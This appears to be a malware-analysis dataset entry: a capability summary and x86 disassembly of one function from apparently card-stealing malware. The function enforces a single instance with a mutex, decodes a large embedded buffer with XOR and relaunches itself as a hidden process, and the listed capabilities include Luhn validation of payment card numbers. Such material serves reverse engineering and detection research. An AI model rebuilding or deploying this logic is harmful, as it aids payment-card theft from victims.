Function at 0x10001770
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Create thread
Encode data using xor
Terminate process
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x68c
mov eax, dword [0x10013004]
xor eax, esp
mov dword [esp + 0x688], eax
push ebx
push esi
push edi
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x24], 2
mov dword [esp + 0xc], eax
jne 0x10001a70
xor ecx, ecx
nop dword [eax + eax]
mov byte [ecx + 0x10013870], cl
inc ecx
cmp ecx, 0x30
jl 0x100017c0
push 0x10c
lea eax, [esp + 0x178]
push 0
push eax
call fcn.10002a30
push 0x208
lea eax, [esp + 0x80]
push 0
push eax
call fcn.10002a30
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x2c]
add esp, 0x18
mov dword [esp + 0x14], 0x696b6447
mov dword [esp + 0x18], 0x694e676e
mov dword [esp + 0x1c], 0x746867
push eax
lea eax, [esp + 0x74]
push eax
call esi
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x178]
push eax
call esi
lea eax, [esp + 0x70]
mov byte [esp + 0x174], 0x4d
push eax
push 1
xor esi, esi
mov dword [esp + 0x280], 0
push esi
mov dword [esp + 0x288], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
test edi, edi
je 0x1000187e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov ecx, 1
push edi
cmove esi, ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
test esi, esi
je 0x10001893
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [esp + 0xc]
xor esi, esi
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edi, edi
mov dword [esp + 0x10], eax
test eax, eax
jle 0x10001a67
mov eax, dword [esp + 0xc]
mov edx, dword [eax + 4]
movsx ecx, byte [edx]
lea eax, [ecx - 0x30]
cmp eax, 9
ja 0x10001a67
lea esi, [esi + esi*4]
inc edi
lea esi, [esi - 0x18]
add edx, 2
lea esi, [ecx + esi*2]
cmp edi, dword [esp + 0x10]
jl 0x100018b7
test esi, esi
jle 0x10001a67
cmp esi, 1
jne 0x10001a78
mov eax, dword [esp + 0x278]
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test eax, eax
je 0x10001907
push eax
call esi
push dword [esp + 0x278]
call ebx
lea eax, [esp + 0x70]
mov dword [esp + 0x278], 0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x278], eax
test eax, eax
je 0x10001995
push 0
push 0
push 0
push 0x10001480
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10003e85
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
mov ebx, 0xf
nop dword [eax + eax]
call fcn.100011e0
mov esi, eax
call fcn.10003e64
test esi, esi
je 0x1000197e
cdq
idiv ebx
add edx, 5
imul eax, edx, 0x64
push eax
call edi
jmp 0x10001960
and eax, 0x80000003
jns 0x1000198a
dec eax
or eax, 0xfffffffc
inc eax
add eax, 2
imul eax, eax, 0x64
push eax
call edi
jmp 0x10001960
mov eax, dword [esp + 0x27c]
mov dword [esp + 0x278], 0
test eax, eax
je 0x100019b7
push eax
call esi
push dword [esp + 0x27c]
call ebx
mov dword [esp + 0x27c], 0
xor eax, eax
nop dword [eax]
nop dword [eax + eax]
movups xmm0, xmmword [eax + 0x10013870]
movups xmm1, xmmword [eax + 0x10013871]
pxor xmm1, xmm0
movups xmmword [eax + 0x10013870], xmm1
movups xmm0, xmmword [eax + 0x10013880]
movups xmm1, xmmword [eax + 0x10013881]
pxor xmm1, xmm0
movups xmmword [eax + 0x10013880], xmm1
movups xmm0, xmmword [eax + 0x10013890]
movups xmm1, xmmword [eax + 0x10013891]
pxor xmm1, xmm0
movups xmmword [eax + 0x10013890], xmm1
movups xmm1, xmmword [eax + 0x100138a1]
movups xmm0, xmmword [eax + 0x100138a0]
pxor xmm1, xmm0
movups xmmword [eax + 0x100138a0], xmm1
add eax, 0x40
cmp eax, 0x39480
jl 0x100019d0
cmp eax, 0x394af
jge 0x10001a67
mov bl, byte [eax + 0x10013870]
lea esi, [eax + 0x10013870]
mov al, byte [esi + 1]
lea ecx, [esi + 1]
xor al, bl
mov bl, byte [ecx]
mov byte [esi], al
mov esi, ecx
cmp esi, 0x1004cd1f
jl 0x10001a51
lea ecx, [esp + 0x70]
call fcn.10001010
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x208
xor ebx, ebx
lea eax, [esp + 0x284]
push ebx
push eax
dec esi
call fcn.10002a30
add esp, 0xc
mov eax, 0x66666667
imul esi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea eax, [ecx + ecx*4]
add eax, eax
sub esi, eax
add esi, 0x30
mov word [esp + ebx*2 + 0x280], si
mov esi, ecx
inc ebx
test esi, esi
jg 0x10001a91
xor edx, edx
test ebx, ebx
jle 0x10001af3
lea edi, [ebx - 1]
lea esi, [esp + ebx*2 + 0x27e]
nop dword [eax + eax]
cmp edi, edx
jle 0x10001af3
mov ax, word [esi]
dec edi
movzx ecx, word [esp + edx*2 + 0x280]
mov word [esp + edx*2 + 0x280], ax
inc edx
mov word [esi], cx
sub esi, 2
cmp edx, ebx
jl 0x10001ad0
push 0x208
lea eax, [esp + 0x48c]
push 0
push eax
call fcn.10002a30
mov eax, dword [esp + 0x18]
add esp, 0xc
push dword [eax]
lea eax, [esp + 0x48c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x488]
push 0x10011b2c
push eax
call esi
lea eax, [esp + 0x280]
push eax
lea eax, [esp + 0x48c]
push eax
call esi
push 0x40
lea eax, [esp + 0x30]
mov dword [esp + 0x2c], 0x44
push 0
push eax
call fcn.10002a30
add esp, 0xc
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x4a8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]